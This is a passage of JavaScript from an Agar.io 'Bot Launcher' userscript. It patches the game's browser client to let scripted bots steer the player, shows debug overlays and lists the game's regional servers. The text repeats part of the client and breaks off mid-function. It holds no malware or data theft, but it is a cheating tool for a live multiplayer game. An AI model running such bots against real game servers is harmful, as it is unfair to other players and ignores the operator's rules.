"#008080"; } else if (circles[i][3] == 7) { d.strokeStyle = "#FFFFFF"; } else { d.strokeStyle = "#000000"; } d.beginPath(); d.lineWidth = 10; //d.setLineDash([5]); d.globalAlpha = 0.3; d.arc(circles[i][0], circles[i][1], circles[i][2], 0, 2 * Math.PI, false); d.stroke(); } d.restore(); d.save(); for(var i = 0; i < dArc.length; i++) { if (dArc[i][7] == 0) { d.strokeStyle = "#FF0000"; } else if (dArc[i][7] == 1) { d.strokeStyle = "#00FF00"; } else if (dArc[i][7] == 2) { d.strokeStyle = "#0000FF"; } else if (dArc[i][7] == 3) { d.strokeStyle = "#FF8000"; } else if (dArc[i][7] == 4) { d.strokeStyle = "#8A2BE2"; } else if (dArc[i][7] == 5) { d.strokeStyle = "#FF69B4"; } else if (dArc[i][7] == 6) { d.strokeStyle = "#008080"; } else if (dArc[i][7] == 7) { d.strokeStyle = "#FFFFFF"; } else { d.strokeStyle = "#000000"; } d.beginPath(); d.lineWidth = 5; var ang1 = Math.atan2(dArc[i][1] - dArc[i][5], dArc[i][0] - dArc[i][4]); var ang2 = Math.atan2(dArc[i][3] - dArc[i][5], dArc[i][2] - dArc[i][4]); d.arc(dArc[i][4], dArc[i][5], dArc[i][6], ang1, ang2, false); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < dPoints.length; i++) { if (dText[i] == "") { var radius = 10; d.beginPath(); d.arc(dPoints[i][0], dPoints[i][1], radius, 0, 2 * Math.PI, false); if (dPoints[i][2] == 0) { d.fillStyle = "black"; } else if (dPoints[i][2] == 1) { d.fillStyle = "yellow"; } else if (dPoints[i][2] == 2) { d.fillStyle = "blue"; } else if (dPoints[i][2] == 3) { d.fillStyle = "red"; } else if (dPoints[i][2] == 4) { d.fillStyle = "#008080"; } else if (dPoints[i][2] == 5) { d.fillStyle = "#FF69B4"; } else { d.fillStyle = "#000000"; } d.fill(); d.lineWidth = 2; d.strokeStyle = '#003300'; d.stroke(); } else { var text = new ja(18, (getDarkBool() ? '#F2FBFF' : '#111111'), true, '#000000'); text.u(dText[i]); var textRender = text.G(); d.drawImage(textRender, dPoints[i][0], dPoints[i][1]); } } d.restore(); } function drawStats(d) { var currentDate = new Date(); var nbSeconds = 0; if (getPlayer().length > 0) { nbSeconds = (currentDate.getSeconds() + (currentDate.getMinutes() * 60) + (currentDate.getHours() * 60 * 60)) - (lifeTimer.getSeconds() + (lifeTimer.getMinutes() * 60) + (lifeTimer.getHours() * 60 * 60)); } bestTime = Math.max(nbSeconds, bestTime); var debugStrings = []; debugStrings.push("T - Bot: " + (!toggle ? "On" : "Off")); debugStrings.push("R - Lines: " + (!toggleDraw ? "On" : "Off")); debugStrings.push("Server: " + serverIP); debugStrings.push("Survived for: " + nbSeconds + " seconds"); if (getPlayer().length > 0) { debugStrings.push("Location: " + Math.floor(getPlayer()[0].x) + ", " + Math.floor(getPlayer()[0].y)); } var offsetValue = 20; var text = new ja(18, (getDarkBool() ? '#F2FBFF' : '#111111')); for (var i = 0; i < debugStrings.length; i++) { text.u(debugStrings[i]); var textRender = text.G(); d.drawImage(textRender, 20, offsetValue); offsetValue += textRender.height; } } function cb() { e.fillStyle = ha ? '#111111' : '#F2FBFF'; e.fillRect(0, 0, p, q); e.save(); e.strokeStyle = ha ? '#AAAAAA' : '#000000'; e.globalAlpha = 0.2; e.scale(g, g); for (var a = p / g, b = q / g, c = - 0.5 + ( - s + a / 2) % 50; c < a; c += 50) e.beginPath(), e.moveTo(c, 0), e.lineTo(c, b), e.stroke(); for (c = - 0.5 + ( - t + b / 2) % 50; c < b; c += 50) e.beginPath(), e.moveTo(0, c), e.lineTo(a, c), e.stroke(); e.restore() } function eb() { if (Aa && wa.width) { var a = p / 5; e.drawImage(wa, 5, 5, a, a) } } function db() { for (var a = 0, b = 0; b < m.length; b++) a += m[b].n * m[b].n; return a } function Ja() { w = null; if (null != x || 0 != A.length) if (null != x || ka) { w = document.createElement('canvas'); var a = w.getContext('2d'), b = 60, b = null == x ? b + 24 * A.length : b + 180, c = Math.min(200, 0.3 * p) / 200; w.width = 200 * c; w.height = b * c; a.scale(c, c); a.globalAlpha = 0.4; a.fillStyle = '#000000'; a.fillRect(0, 0, 200, b); a.globalAlpha = 1; a.fillStyle = '#FFFFFF'; c = null; c = 'Leaderboard'; a.font = '30px Ubuntu'; a.fillText(c, 100 - a.measureText(c).width / 2, 40); if (null == x) for (a.font = '20px Ubuntu', b = 0; b < A.length; ++b) c = A[b].name || 'An unnamed cell', ka || (c = 'An unnamed cell'), - 1 != F.indexOf(A[b].id) ? (m[0].name && (c = m[0].name), a.fillStyle = '#FFAAAA') : a.fillStyle = '#FFFFFF', c = b + 1 + '. ' + c, a.fillText(c, 100 - a.measureText(c).width / 2, 70 + 24 * b); else for (b = c = 0; b < x.length; ++b) { var d = c + x[b] * Math.PI * 2; a.fillStyle = fb[b + 1]; a.beginPath(); a.moveTo(100, 140); a.arc(100, 140, 80, c, d, !1); a.fill(); c = d } } } function Ka(a, b, c, d, e, l) { u.push(this); z[a] = this; this.id = a; this.p = this.x = b; this.q = this.y = c; this.o = this.size = d; this.color = e; this.a = [ ]; this.l = [ ]; this.R(); this.Z(l) } function ja(a, b, c, d) { a && (this.r = a); b && (this.N = b); this.P = !!c; d && (this.s = d) } var $ = h.location.protocol, Va = 'https:' == $, //UPDATE toggle = false, toggleDraw = false, tempPoint = [0, 0, 1], dPoints = [], circles = [], dArc = [], dText = [], lines = [], originalName = "NotReallyABot", sessionScore = 0, serverIP = "", interNodes = [], lifeTimer = new Date(), bestTime = 0, botIndex = 0, ma, e, B, p, q, L = null, r = null, s = 0, t = 0, F = [ ], m = [ ], z = { }, u = [ ], H = [ ], A = [ ], T = 0, U = 0, X = - 1, Y = - 1, bb = 0, G = 0, E = null, da = 0, ea = 0, fa = 10000, ga = 10000, g = 1, v = null, Oa = !0, ka = !0, xa = !1, ta = !1, I = 0, ha = !1, Pa = !1, P = s = ~~((da + fa) / 2), Q = t = ~~((ea + ga) / 2), R = 1, M = '', x = null, la = !1, sa = !1, qa = 0, ra = 0, ba = 0, ca = 0, Qa = 0, fb = [ '#333333', '#FF3333', '#33FF33', '#3333FF' ], va = !1, D = 1, Aa = 'ontouchstart' in h && /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent), wa = new Image; wa.src = 'img/split.png'; var Ra = document.createElement('canvas'); if ('undefined' == typeof console || 'undefined' == typeof DataView || 'undefined' == typeof WebSocket || null == Ra || null == Ra.getContext || null == h.localStorage) alert('You browser does not support this game, we recommend you to use Firefox to play this'); else { var Z = null; h.setNick = function (a) { //UPDATE originalName = a; if (getPlayer().length == 0) { lifeTimer = new Date(); } Ga(); E = a; Ia(); I = 0 }; h.setRegion = V; h.setSkins = function (a) { Oa = a }; h.setNames = function (a) { ka = a }; h.setDarkTheme = function (a) { ha = a }; h.setColors = function (a) { xa = a }; h.setShowMass = function (a) { Pa = a }; h.spectate = function () { E = null; C(1); Ga() }; h.setGameMode = function (a) { a != M && (M = a, W()) }; h.setAcid = function (a) { va = a }; null != h.localStorage && (null == h.localStorage.AB8 && (h.localStorage.AB8 = 0 + ~~(100 * Math.random())), Qa = + h.localStorage.AB8, h.ABGroup = Qa); f.get($ + '//gc.agar.io', function (a) { var b = a.split(' '); a = b[0]; b = b[1] || ''; - 1 == 'DE IL PL HU BR AT UA'.split(' ').indexOf(a) && ya.push('nazi'); - 1 == ['UA'].indexOf(a) && ya.push('ussr'); S.hasOwnProperty(a) && ('string' == typeof S[a] ? v || V(S[a]) : S[a].hasOwnProperty(b) && (v || V(S[a][b]))) }, 'text'); setTimeout(function () { }, 300000); var S = { AF: 'JP-Tokyo', AX: 'EU-London', AL: 'EU-London', DZ: 'EU-London', AS: 'SG-Singapore', AD: 'EU-London', AO: 'EU-London', AI: 'US-Atlanta', AG: 'US-Atlanta', AR: 'BR-Brazil', AM: 'JP-Tokyo', AW: 'US-Atlanta', AU: 'SG-Singapore', AT: 'EU-London', AZ: 'JP-Tokyo', BS: 'US-Atlanta', BH: 'JP-Tokyo', BD: 'JP-Tokyo', BB: 'US-Atlanta', BY: 'EU-London', BE: 'EU-London', BZ: 'US-Atlanta', BJ: 'EU-London', BM: 'US-Atlanta', BT: 'JP-Tokyo', BO: 'BR-Brazil', BQ: 'US-Atlanta', BA: 'EU-London', BW: 'EU-London', BR: 'BR-Brazil', IO: 'JP-Tokyo', VG: 'US-Atlanta', BN: 'JP-Tokyo', BG: 'EU-London', BF: 'EU-London', BI: 'EU-London', KH: 'JP-Tokyo', CM: 'EU-London', CA: 'US-Atlanta', CV: 'EU-London', KY: 'US-Atlanta', CF: 'EU-London', TD: 'EU-London', CL: 'BR-Brazil', CN: 'CN-China', CX: 'JP-Tokyo', CC: 'JP-Tokyo', CO: 'BR-Brazil', KM: 'EU-London', CD: 'EU-London', CG: 'EU-London', CK: 'SG-Singapore', CR: 'US-Atlanta', CI: 'EU-London', HR: 'EU-London', CU: 'US-Atlanta', CW: 'US-Atlanta', CY: 'JP-Tokyo', CZ: 'EU-London', DK: 'EU-London', DJ: 'EU-London', DM: 'US-Atlanta', DO: 'US-Atlanta', EC: 'BR-Brazil', EG: 'EU-London', SV: 'US-Atlanta', GQ: 'EU-London', ER: 'EU-London', EE: 'EU-London', ET: 'EU-London', FO: 'EU-London', FK: 'BR-Brazil', FJ: 'SG-Singapore', FI: 'EU-London', FR: 'EU-London', GF: 'BR-Brazil', PF: 'SG-Singapore', GA: 'EU-London', GM: 'EU-London', GE: 'JP-Tokyo', DE: 'EU-London', GH: 'EU-London', GI: 'EU-London', GR: 'EU-London', GL: 'US-Atlanta', GD: 'US-Atlanta', GP: 'US-Atlanta', GU: 'SG-Singapore', GT: 'US-Atlanta', GG: 'EU-London', GN: 'EU-London', GW: 'EU-London', GY: 'BR-Brazil', HT: 'US-Atlanta', VA: 'EU-London', HN: 'US-Atlanta', HK: 'JP-Tokyo', HU: 'EU-London', IS: 'EU-London', IN: 'JP-Tokyo', ID: 'JP-Tokyo', IR: 'JP-Tokyo', IQ: 'JP-Tokyo', IE: 'EU-London', IM: 'EU-London', IL: 'JP-Tokyo', IT: 'EU-London', JM: 'US-Atlanta', JP: 'JP-Tokyo', JE: 'EU-London', JO: 'JP-Tokyo', KZ: 'JP-Tokyo', KE: 'EU-London', KI: 'SG-Singapore', KP: 'JP-Tokyo', KR: 'JP-Tokyo', KW: 'JP-Tokyo', KG: 'JP-Tokyo', LA: 'JP-Tokyo', LV: 'EU-London', LB: 'JP-Tokyo', LS: 'EU-London', LR: 'EU-London', LY: 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'EU-London', BL: 'US-Atlanta', SH: 'EU-London', KN: 'US-Atlanta', LC: 'US-Atlanta', MF: 'US-Atlanta', PM: 'US-Atlanta', VC: 'US-Atlanta', WS: 'SG-Singapore', SM: 'EU-London', ST: 'EU-London', SA: 'EU-London', SN: 'EU-London', RS: 'EU-London', SC: 'EU-London', SL: 'EU-London', SG: 'JP-Tokyo', SX: 'US-Atlanta', SK: 'EU-London', SI: 'EU-London', SB: 'SG-Singapore', SO: 'EU-London', ZA: 'EU-London', SS: 'EU-London', ES: 'EU-London', LK: 'JP-Tokyo', SD: 'EU-London', SR: 'BR-Brazil', SJ: 'EU-London', SZ: 'EU-London', SE: 'EU-London', CH: 'EU-London', SY: 'EU-London', TW: 'JP-Tokyo', TJ: 'JP-Tokyo', TZ: 'EU-London', TH: 'JP-Tokyo', TL: 'JP-Tokyo', TG: 'EU-London', TK: 'SG-Singapore', TO: 'SG-Singapore', TT: 'US-Atlanta', TN: 'EU-London', TR: 'TK-Turkey', TM: 'JP-Tokyo', TC: 'US-Atlanta', TV: 'SG-Singapore', UG: 'EU-London', UA: 'EU-London', AE: 'EU-London', GB: 'EU-London', US: { AL: 'US-Atlanta', AK: 'US-Fremont', AZ: 'US-Fremont', AR: 'US-Atlanta', CA: 'US-Fremont', CO: 'US-Fremont', CT: 'US-Atlanta', DE: 'US-Atlanta', FL: 'US-Atlanta', GA: 'US-Atlanta', HI: 'US-Fremont', ID: 'US-Fremont', IL: 'US-Atlanta', IN: 'US-Atlanta', IA: 'US-Atlanta', KS: 'US-Atlanta', KY: 'US-Atlanta', LA: 'US-Atlanta', ME: 'US-Atlanta', MD: 'US-Atlanta', MA: 'US-Atlanta', MI: 'US-Atlanta', MN: 'US-Fremont', MS: 'US-Atlanta', MO: 'US-Atlanta', MT: 'US-Fremont', NE: 'US-Fremont', NV: 'US-Fremont', NH: 'US-Atlanta', NJ: 'US-Atlanta', NM: 'US-Fremont', NY: 'US-Atlanta', NC: 'US-Atlanta', ND: 'US-Fremont', OH: 'US-Atlanta', OK: 'US-Atlanta', OR: 'US-Fremont', PA: 'US-Atlanta', RI: 'US-Atlanta', SC: 'US-Atlanta', SD: 'US-Fremont', TN: 'US-Atlanta', TX: 'US-Atlanta', UT: 'US-Fremont', VT: 'US-Atlanta', VA: 'US-Atlanta', WA: 'US-Fremont', WV: 'US-Atlanta', WI: 'US-Atlanta', WY: 'US-Fremont', DC: 'US-Atlanta', AS: 'US-Atlanta', GU: 'US-Atlanta', MP: 'US-Atlanta', PR: 'US-Atlanta', UM: 'US-Atlanta', VI: 'US-Atlanta' }, UM: 'SG-Singapore', VI: 'US-Atlanta', UY: 'BR-Brazil', UZ: 'JP-Tokyo', VU: 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joao3024
// ==UserScript== // @name Launcher // @namespace AposLauncher // @include http://agar.io/ // @version 2.1 // @grant none // @author http://www.twitch.tv/apostolique // ==/UserScript== Number.prototype.mod = function(n) { return ((this%n)+n)%n; }; Array.prototype.peek = function() { return this[this.length-1]; } console.log("Running Bot Launcher!"); (function (h, f) { //UPDATE function keyAction(e) { if (84 == e.keyCode) { console.log("Toggle"); toggle = !toggle; } if (82 == e.keyCode) { console.log("ToggleDraw"); toggleDraw = !toggleDraw; } if (68 == e.keyCode) { window.setDarkTheme(!getDarkBool()); } if (70 == e.keyCode) { window.setShowMass(!getMassBool()); } } function humanPlayer() { //Don't need to do anything. return [getPointX(), getPointY()]; } function Sa() { //UPDATE if (window.botList == null) { window.botList = []; window.jQuery('#locationUnknown').append(window.jQuery('<select id="bList" class="form-control" onchange="setBotIndex($(this).val());" />')); window.jQuery('#locationUnknown').addClass('form-group'); } window.botList.push(["Human", humanPlayer]); var bList = window.jQuery('#bList'); window.jQuery('<option />', {value: (window.botList.length - 1), text: "Human"}).appendTo(bList); la = !0; za(); setInterval(za, 180000); B = ma = document.getElementById('canvas'); e = B.getContext('2d'); B.onmousedown = function (a) { if (Aa) { var b = a.clientX - (5 + p / 5 / 2), c = a.clientY - (5 + p / 5 / 2); if (Math.sqrt(b * b + c * c) <= p / 5 / 2) { K(); C(17); return } } T = a.clientX; U = a.clientY; na(); K() }; B.onmousemove = function (a) { T = a.clientX; U = a.clientY; na() }; B.onmouseup = function () { }; /firefox/i.test(navigator.userAgent) ? document.addEventListener('DOMMouseScroll', Ba, !1) : document.body.onmousewheel = Ba; var a = !1, b = !1, c = !1; h.onkeydown = function (d) { 32 != d.keyCode || a || (K(), C(17), a = !0); 81 != d.keyCode || b || (C(18), b = !0); 87 != d.keyCode || c || (K(), C(21), c = !0); 27 == d.keyCode && Ca(!0); //UPDATE keyAction(d); }; h.onkeyup = function (d) { 32 == d.keyCode && (a = !1); 87 == d.keyCode && (c = !1); 81 == d.keyCode && b && (C(19), b = !1) }; h.onblur = function () { C(19); c = b = a = !1 }; h.onresize = Da; Da(); h.requestAnimationFrame ? h.requestAnimationFrame(Ea) : setInterval(oa, 1000 / 60); setInterval(K, 40); v && f('#region').val(v); Fa(); V(f('#region').val()); null == r && v && W(); f('#overlays').show() } function Ba(a) { D *= Math.pow(0.9, a.wheelDelta / - 120 || a.detail || 0); 1 > D && (D = 1); D > 4 / g && (D = 4 / g) } function Ta() { if (0.4 > g) L = null; else { for (var a = Number.POSITIVE_INFINITY, b = Number.POSITIVE_INFINITY, c = Number.NEGATIVE_INFINITY, d = Number.NEGATIVE_INFINITY, e = 0, l = 0; l < u.length; l++) { var k = u[l]; !k.I() || k.M || 20 >= k.size * g || (e = Math.max(k.size, e), a = Math.min(k.x, a), b = Math.min(k.y, b), c = Math.max(k.x, c), d = Math.max(k.y, d)) } L = Ua.ca({ X: a - (e + 100), Y: b - (e + 100), fa: c + (e + 100), ga: d + (e + 100), da: 2, ea: 4 }); for (l = 0; l < u.length; l++) if (k = u[l], k.I() && !(20 >= k.size * g)) for (a = 0; a < k.a.length; ++a) b = k.a[a].x, c = k.a[a].y, b < s - p / 2 / g || c < t - q / 2 / g || b > s + p / 2 / g || c > t + q / 2 / g || L.i(k.a[a]) } } function na() { //UPDATE if (toggle ||window.botList[botIndex][0] == "Human") { X = (T - p / 2) / g + s; Y = (U - q / 2) / g + t } } function za() { null == Z && (Z = { }, f('#region').children().each(function () { var a = f(this), b = a.val(); b && (Z[b] = a.text()) })); f.get($ + '//m.agar.io/info', function (a) { var b = { }, c; for (c in a.regions) { var d = c.split(':') [0]; b[d] = b[d] || 0; b[d] += a.regions[c].numPlayers } for (c in b) f('#region option[value="' + c + '"]').text(Z[c] + ' (' + b[c] + ' players)') }, 'json') } function Ga() { f('#adsBottom').hide(); f('#overlays').hide(); Fa() } function V(a) { a && a != v && (f('#region').val() != a && f('#region').val(a), v = h.localStorage.location = a, f('.region-message').hide(), f('.region-message.' + a).show(), f('.btn-needs-server').prop('disabled', !1), la && W()) } function Ca(a) { E = null; f('#overlays').fadeIn(a ? 200 : 3000); a || f('#adsBottom').fadeIn(3000) } function Fa() { f('#region').val() ? h.localStorage.location = f('#region').val() : h.localStorage.location && f('#region').val(h.localStorage.location); f('#region').val() ? f('#locationKnown').append(f('#region')) : f('#locationUnknown').append(f('#region')) } function pa() { console.log('Find ' + v + M); f.ajax($ + '//m.agar.io/', { error: function () { setTimeout(pa, 1000) }, success: function (a) { a = a.split('\n'); '45.79.222.79:443' == a[0] ? pa() : Ha('ws://' + a[0]) }, dataType: 'text', method: 'POST', cache: !1, crossDomain: !0, data: v + M || '?' }) } function W() { la && v && (f('#connecting').show(), pa()) } function Ha(a) { if (r) { r.onopen = null; r.onmessage = null; r.onclose = null; try { r.close() } catch (b) { } r = null } var c = h.location.search.slice(1); /^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+:[0-9]+$/.test(c) && (a = 'ws://' + c); Va && (a = a.split(':'), a = a[0] + 's://ip-' + a[1].replace(/\./g, '-').replace(/\//g, '') + '.tech.agar.io:' + ( + a[2] + 2000)); F = [ ]; m = [ ]; z = { }; u = [ ]; H = [ ]; A = [ ]; w = x = null; I = 0; console.log('Connecting to ' + a); //UPDATE serverIP = a; r = new WebSocket(a); r.binaryType = 'arraybuffer'; r.onopen = Wa; r.onmessage = Xa; r.onclose = Ya; r.onerror = function () { console.log('socket error') } } function N(a) { return new DataView(new ArrayBuffer(a)) } function O(a) { r.send(a.buffer) } function Wa() { var a; aa = 500; f('#connecting').hide(); console.log('socket open'); a = N(5); a.setUint8(0, 254); a.setUint32(1, 4, !0); O(a); a = N(5); a.setUint8(0, 255); a.setUint32(1, 673720361, !0); O(a); Ia() } function Ya() { console.log('socket close'); setTimeout(W, aa); aa *= 1.5 } function Xa(a) { Za(new DataView(a.data)) } function Za(a) { function b() { for (var b = ''; ; ) { var d = a.getUint16(c, !0); c += 2; if (0 == d) break; b += String.fromCharCode(d) } return b } var c = 0; 240 == a.getUint8(c) && (c += 5); switch (a.getUint8(c++)) { case 16: $a(a, c); break; case 17: P = a.getFloat32(c, !0); c += 4; Q = a.getFloat32(c, !0); c += 4; R = a.getFloat32(c, !0); c += 4; break; case 20: m = [ ]; F = [ ]; break; case 21: qa = a.getInt16(c, !0); c += 2; ra = a.getInt16(c, !0); c += 2; sa || (sa = !0, ba = qa, ca = ra); break; case 32: F.push(a.getUint32(c, !0)); c += 4; break; case 49: if (null != x) break; var d = a.getUint32(c, !0), c = c + 4; A = [ ]; for (var e = 0; e < d; ++e) { var l = a.getUint32(c, !0), c = c + 4; A.push({ id: l, name: b() }) } Ja(); break; case 50: x = [ ]; d = a.getUint32(c, !0); c += 4; for (e = 0; e < d; ++e) x.push(a.getFloat32(c, !0)), c += 4; Ja(); break; case 64: da = a.getFloat64(c, !0), c += 8, ea = a.getFloat64(c, !0), c += 8, fa = a.getFloat64(c, !0), c += 8, ga = a.getFloat64(c, !0), c += 8, P = (fa + da) / 2, Q = (ga + ea) / 2, R = 1, 0 == m.length && (s = P, t = Q, g = R) } } function $a(a, b) { G = + new Date; var c = Math.random(); ta = !1; var d = a.getUint16(b, !0); b += 2; for (var e = 0; e < d; ++e) { var l = z[a.getUint32(b, !0)], k = z[a.getUint32(b + 4, !0)]; b += 8; l && k && (k.S(), k.p = k.x, k.q = k.y, k.o = k.size, k.D = l.x, k.F = l.y, k.n = k.size, k.L = G) } for (e = 0; ; ) { d = a.getUint32(b, !0); b += 4; if (0 == d) break; ++e; var h, l = a.getInt16(b, !0); b += 2; k = a.getInt16(b, !0); b += 2; h = a.getInt16(b, !0); b += 2; for (var g = a.getUint8(b++), f = a.getUint8(b++), p = a.getUint8(b++), g = (g << 16 | f << 8 | p).toString(16); 6 > g.length; ) g = '0' + g; var g = '#' + g, f = a.getUint8(b++), p = !!(f & 1), r = !!(f & 16); f & 2 && (b += 4); f & 4 && (b += 8); f & 8 && (b += 16); for (var q, n = ''; ; ) { q = a.getUint16(b, !0); b += 2; if (0 == q) break; n += String.fromCharCode(q) } q = n; n = null; z.hasOwnProperty(d) ? (n = z[d], n.K(), n.p = n.x, n.q = n.y, n.o = n.size, n.color = g) : (n = new Ka(d, l, k, h, g, q), n.ka = l, n.la = k); n.d = p; n.j = r; n.D = l; n.F = k; n.n = h; n.ja = c; n.L = G; n.W = f; q && n.Z(q); - 1 != F.indexOf(d) && - 1 == m.indexOf(n) && (document.getElementById('overlays').style.display = 'none', m.push(n), 1 == m.length && (s = n.x, t = n.y)) //UPDATE interNodes[d] = window.getCells()[d]; } //UPDATE Object.keys(interNodes).forEach(function (element, index) { //console.log("start: " + interNodes[element].updateTime + " current: " + D + " life: " + (D - interNodes[element].updateTime)); var isRemoved = !window.getCells().hasOwnProperty(element); if (isRemoved && (getLastUpdate() - interNodes[element].L) > 3000) { delete interNodes[element]; } else if (isRemoved && computeDistance(getOffsetX(), getOffsetY(), interNodes[element].x, interNodes[element].y) < screenDistance()) { //console.log("Too close! Remove " + computeDistance(getOffsetX(), getOffsetY(), interNodes[element].x, interNodes[element].y) + " || " + screenDistance()); delete interNodes[element]; } }); c = a.getUint32(b, !0); b += 4; for (e = 0; e < c; e++) d = a.getUint32(b, !0), b += 4, n = z[d], null != n && n.S(); //ta && 0 == m.length && Ca(!1) } //UPDATE function computeDistance(x1, y1, x2, y2) { var xdis = x1 - x2; // <--- FAKE AmS OF COURSE! var ydis = y1 - y2; var distance = Math.sqrt(xdis * xdis + ydis * ydis); return distance; } function screenDistance() { return Math.min(computeDistance (getOffsetX(), getOffsetY(), screenToGameX(getWidth()), getOffsetY()), computeDistance (getOffsetX(), getOffsetY(), getOffsetX(), screenToGameY(getHeight()))); } function screenToGameX(x) { return (x - getWidth() / 2) / getRatio() + getX(); } function screenToGameY(y) { return (y - getHeight() / 2) / getRatio() + getY();; } window.drawPoint = function(x_1, y_1, drawColor, text) { if (!toggleDraw) { dPoints.push([x_1, y_1, drawColor]); dText.push(text); } } window.drawArc = function(x_1, y_1, x_2, y_2, x_3, y_3, drawColor) { if (!toggleDraw) { var radius = computeDistance(x_1, y_1, x_3, y_3); dArc.push([x_1, y_1, x_2, y_2, x_3, y_3, radius, drawColor]); } } window.drawLine = function(x_1, y_1, x_2, y_2, drawColor) { if (!toggleDraw) { lines.push([x_1, y_1, x_2, y_2, drawColor]); } } window.drawCircle = function(x_1, y_1, radius, drawColor) { if (!toggleDraw) { circles.push([x_1, y_1, radius, drawColor]); } } function K() { //UPDATE if (getPlayer().length == 0) { setNick(originalName); } var a; if (ua()) { a = T - p / 2; var b = U - q / 2; 64 > a * a + b * b || 0.01 > Math.abs(La - X) && 0.01 > Math.abs(Ma - Y) || (La = X, Ma = Y, a = N(21), a.setUint8(0, 16), a.setFloat64(1, X, !0), a.setFloat64(9, Y, !0), a.setUint32(17, 0, !0), O(a)) } } function Ia() { if (ua() && null != E) { var a = N(1 + 2 * E.length); a.setUint8(0, 0); for (var b = 0; b < E.length; ++b) a.setUint16(1 + 2 * b, E.charCodeAt(b), !0); O(a) } } function ua() { return null != r && r.readyState == r.OPEN } function C(a) { if (ua()) { var b = N(1); b.setUint8(0, a); O(b) } } function Ea() { oa(); h.requestAnimationFrame(Ea) } function Da() { p = h.innerWidth; q = h.innerHeight; ma.width = B.width = p; ma.height = B.height = q; oa() } function Na() { var a; a = 1 * Math.max(q / 1080, p / 1920); return a *= D } function ab() { if (0 != m.length) { for (var a = 0, b = 0; b < m.length; b++) a += m[b].size; a = Math.pow(Math.min(64 / a, 1), 0.4) * Na(); g = (9 * g + a) / 10 } } function oa() { //UPDATE dPoints = []; circles = []; dArc = []; dText = []; lines = []; var a, b = Date.now(); ++bb; G = b; if (0 < m.length) { ab(); for (var c = a = 0, d = 0; d < m.length; d++) m[d].K(), a += m[d].x / m.length, c += m[d].y / m.length; P = a; Q = c; R = g; s = (s + a) / 2; t = (t + c) / 2 } else s = (29 * s + P) / 30, t = (29 * t + Q) / 30, g = (9 * g + R * Na()) / 10; Ta(); na(); va || e.clearRect(0, 0, p, q); va ? (e.fillStyle = ha ? '#111111' : '#F2FBFF', e.globalAlpha = 0.05, e.fillRect(0, 0, p, q), e.globalAlpha = 1) : cb(); u.sort(function (a, b) { return a.size == b.size ? a.id - b.id : a.size - b.size }); e.save(); e.translate(p / 2, q / 2); e.scale(g, g); e.translate( - s, - t); for (d = 0; d < H.length; d++) H[d].T(); for (d = 0; d < u.length; d++) u[d].T(); //UPDATE if (getPlayer().length > 0) { var moveLoc = window.botList[botIndex][1](); if (!toggle) { setPoint(moveLoc[0], moveLoc[1]); } } customRender(e); if (sa) { ba = (3 * ba + qa) / 4; ca = (3 * ca + ra) / 4; e.save(); e.strokeStyle = '#FFAAAA'; e.lineWidth = 10; e.lineCap = 'round'; e.lineJoin = 'round'; e.globalAlpha = 0.5; e.beginPath(); for (d = 0; d < m.length; d++) e.moveTo(m[d].x, m[d].y), e.lineTo(ba, ca); e.stroke(); e.restore() } e.restore(); w && w.width && e.drawImage(w, p - w.width - 10, 10); I = Math.max(I, db()); //UPDATE sessionScore = Math.max(I, sessionScore); 0 != I && (null == ia && (ia = new ja(24, '#FFFFFF', true,'#000000')), ia.u('Score: ' + ~~(I / 100) + ' || Best Score: ' + ~~(sessionScore / 100) + " || Best time alive: " + bestTime + " seconds"), c = ia.G(), a = c.width, e.globalAlpha = 0.2, e.fillStyle = '#000000', e.fillRect(10, q - 10 - 24 - 10, a + 10, 34), e.globalAlpha = 1, e.drawImage(c, 15, q - 10 - 24 - 5)); eb(); b = Date.now() - b; b > 1000 / 60 ? y -= 0.01 : b < 1000 / 65 && (y += 0.01); 0.4 > y && (y = 0.4); 1 < y && (y = 1) drawStats(e); } //UPDATE function customRender(d) { d.save(); for(var i = 0; i < lines.length; i++) { d.beginPath(); d.lineWidth = 5; if (lines[i][4] == 0) { d.strokeStyle = "#FF0000"; } else if (lines[i][4] == 1) { d.strokeStyle = "#00FF00"; } else if (lines[i][4] == 2) { d.strokeStyle = "#0000FF"; } else if (lines[i][4] == 3) { d.strokeStyle = "#FF8000"; } else if (lines[i][4] == 4) { d.strokeStyle = "#8A2BE2"; } else if (lines[i][4] == 5) { d.strokeStyle = "#FF69B4"; } else if (lines[i][4] == 6) { d.strokeStyle = "#008080"; } else if (lines[i][4] == 7) { d.strokeStyle = "#FFFFFF"; } else { d.strokeStyle = "#000000"; } d.moveTo(lines[i][0], lines[i][1]); d.lineTo(lines[i][2], lines[i][3]); d.stroke(); } d.restore(); d.save(); for(var i = 0; i < circles.length; i++) { if (circles[i][3] == 0) { d.strokeStyle = "#FF0000"; } else if (circles[i][3] == 1) { d.strokeStyle = "#00FF00"; } else if (circles[i][3] == 2) { d.strokeStyle = "#0000FF"; } else if (circles[i][3] == 3) { d.strokeStyle = "#FF8000"; } else if (circles[i][3] == 4) { d.strokeStyle = "#8A2BE2"; } else if (circles[i][3] == 5) { d.strokeStyle = "#FF69B4"; } else if (circles[i][3] == 6) { d.strokeStyle = "#008080"; } else if (circles[i][3] == 7) { d.strokeStyle = "#FFFFFF"; } else { d.strokeStyle = "#000000"; } d.beginPath(); d.lineWidth = 10; //d.setLineDash([5]); d.globalAlpha = 0.3; d.arc(circles[i][0], circles[i][1], circles[i][2], 0, 2 * Math.PI, false); d.stroke(); } d.restore(); d.save(); for(var i = 0; i < dArc.length; i++) { if (dArc[i][7] == 0) { d.strokeStyle = "#FF0000"; } else if (dArc[i][7] == 1) { d.strokeStyle = "#00FF00"; } else if (dArc[i][7] == 2) { d.strokeStyle = "#0000FF"; } else if (dArc[i][7] == 3) { d.strokeStyle = "#FF8000"; } else if (dArc[i][7] == 4) { d.strokeStyle = "#8A2BE2"; } else if (dArc[i][7] == 5) { d.strokeStyle = "#FF69B4"; } else if (dArc[i][7] == 6) { d.strokeStyle = "#008080"; } else if (dArc[i][7] == 7) { d.strokeStyle = "#FFFFFF"; } else { d.strokeStyle = "#000000"; } d.beginPath(); d.lineWidth = 5; var ang1 = Math.atan2(dArc[i][1] - dArc[i][5], dArc[i][0] - dArc[i][4]); var ang2 = Math.atan2(dArc[i][3] - dArc[i][5], dArc[i][2] - dArc[i][4]); d.arc(dArc[i][4], dArc[i][5], dArc[i][6], ang1, ang2, false); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < dPoints.length; 